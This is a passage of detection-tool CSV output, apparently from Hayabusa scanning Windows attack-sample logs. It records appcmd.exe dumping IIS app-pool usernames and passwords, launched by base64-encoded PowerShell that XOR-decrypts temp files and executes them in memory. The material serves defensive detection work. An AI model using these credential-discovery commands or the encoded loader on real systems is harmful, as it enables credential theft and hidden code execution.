AZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.661 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Filename: redirection.config"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.731 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Filename: redirection.config"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.811 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.891 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.971 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Line Number: 0"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.041 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Line Number: 0"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc 